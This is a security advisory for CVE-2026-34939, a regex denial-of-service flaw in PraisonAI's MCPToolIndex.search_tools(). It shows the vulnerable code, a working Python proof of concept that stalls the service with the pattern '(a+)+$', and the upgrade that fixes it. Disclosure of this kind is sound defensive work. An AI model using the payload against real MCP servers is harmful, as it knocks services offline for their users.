---
id: CVE-2026-34939
aliases:
  - GHSA-8w9j-hc3g-3g7f
  - PYSEC-2026-2907
title: >-
  PraisonAI Has ReDoS via Unvalidated User-Controlled Regex in
  MCPToolIndex.search_tools()
summary: >-
  PraisonAI Has ReDoS via Unvalidated User-Controlled Regex in
  MCPToolIndex.search_tools()
severity: medium
cvss: 6.5
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H'
vendor: praisonai
product: praisonai
ecosystem: pip
affected:
  - praisonai < 4.5.90
patched:
  - praisonai 4.5.90
published: '2026-04-01'
updated: '2026-07-13'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-8w9j-hc3g-3g7f'
references:
  - url: >-
      https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8w9j-hc3g-3g7f
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-34939'
  - url: 'https://github.com/MervinPraison/PraisonAI'
tags:
  - osv
  - pip
epss: 0.00448
epssPercentile: 0.36458
ingestedAt: '2026-07-13T18:57:55.332Z'
---

## Overview

### Summary

`MCPToolIndex.search_tools()` compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the `re` engine, blocking the Python thread for hundreds of seconds and causing a complete service outage.

### Details

`tool_index.py:365` (source) -> `tool_index.py:368` (sink)
```python
# source -- query taken directly from caller, no validation
def search_tools(self, query: str) -> List[ToolInfo]:
    import re

# sink -- compiled and applied with no timeout or exception handling
    pattern = re.compile(query, re.IGNORECASE)
    for tool in self.get_all_tools():
        if pattern.search(tool.name) or pattern.search(tool.hint):
            matches.append(tool)
```

### PoC
```python
# tested on: praisonai==1.5.87 (source install)
# install: pip install -e src/praisonai
import sys, time, json
sys.path.insert(0, 'src/praisonai')
from pathlib import Path

mcp_dir = Path.home() / '.praison' / 'mcp' / 'servers' / 'test_server'
mcp_dir.mkdir(parents=True, exist_ok=True)
(mcp_dir / '_index.json').write_text(json.dumps([
    {"name": "a" * 30 + "!", "hint": "a" * 30 + "!", "server": "test_server"}
]))
(mcp_dir / '_status.json').write_text(json.dumps({
    "server": "test_server", "available": True, "auth_required": False,
    "last_sync": time.time(), "tool_count": 1, "error": None
}))

from praisonai.mcp_server.tool_index import MCPToolIndex
index = MCPToolIndex()

start = time.monotonic()
results = index.search_tools("(a+)+$")
print(f"Returned in {time.monotonic() - start:.1f}s")
# expected output: Returned in 376.0s
```

### Impact

A single crafted query blocks the Python thread for hundreds of seconds, causing a complete service outage for the duration. The MCP server HTTP transport runs without an API key by default, making this reachable by any attacker on the network. Repeated requests sustain the DoS indefinitely.

## Affected packages

- `praisonai < 4.5.90`

## Remediation

Upgrade to a patched release:

- `praisonai 4.5.90`
